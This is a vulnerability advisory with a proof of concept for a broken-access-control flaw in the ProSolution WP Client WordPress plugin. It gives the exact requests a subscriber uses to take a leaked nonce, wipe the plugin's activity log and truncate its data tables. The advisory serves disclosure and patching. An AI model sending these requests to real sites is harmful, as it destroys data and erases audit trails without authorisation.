ProSolution WP Client < 2.0.9 – Subscriber+ proSol_ajaxTablesync and proSol_ajaxClearlog Calls | CVE 2026-19052

Description

The plugin does not perform capability checks on two administrative AJAX actions, and the nonce they rely on is published on its public frontend, allowing any authenticated user, such as a subscriber, to trigger an administrative data synchronisation and to clear the plugin's activity records.

Proof of Concept

Prerequisites: the plugin configured with its API credentials, which is its normal operating state, and a published page containing the plugin's job portal shortcode. The attacker holds any account on the site; Subscriber is sufficient.

1. Log in as the Subscriber and keep the session cookies.

2. Request the public job-portal page and read the nonce out of the inline prosolObj script variable, which is printed on the page for any visitor:

GET https://victim.example/job-portal/

The response contains:
var prosolObj = {"ajaxurl":"https://victim.example/wp-admin/admin-ajax.php","nonce":"f8d3190b11", ...

3. Clear the plugin's activity log with that nonce:

POST https://victim.example/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookie: <subscriber session>

action=proSol_ajaxClearlog&security=f8d3190b11&cleartype=1

4. Truncate and re-synchronise one of the plugin's data tables:

POST https://victim.example/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookie: <subscriber session>

action=proSol_ajaxTablesync&security=f8d3190b11&table=country&synctype=all

Any table name from the plugin's own table list works.

5. Optionally target a specific configured site by adding the cookie selsite=<site id> to step 3.

Expected result: step 3 returns the rendered "Activity log cleared" entry, every activity-log row for the selected site is gone, and the new entry is attributed to the Subscriber. Step 4 returns {"error":0,"message":"Existing data truncated and new data synced successfully."} and the table's previous contents have been deleted and replaced. Both are maintenance actions the plugin offers only on its admin screens.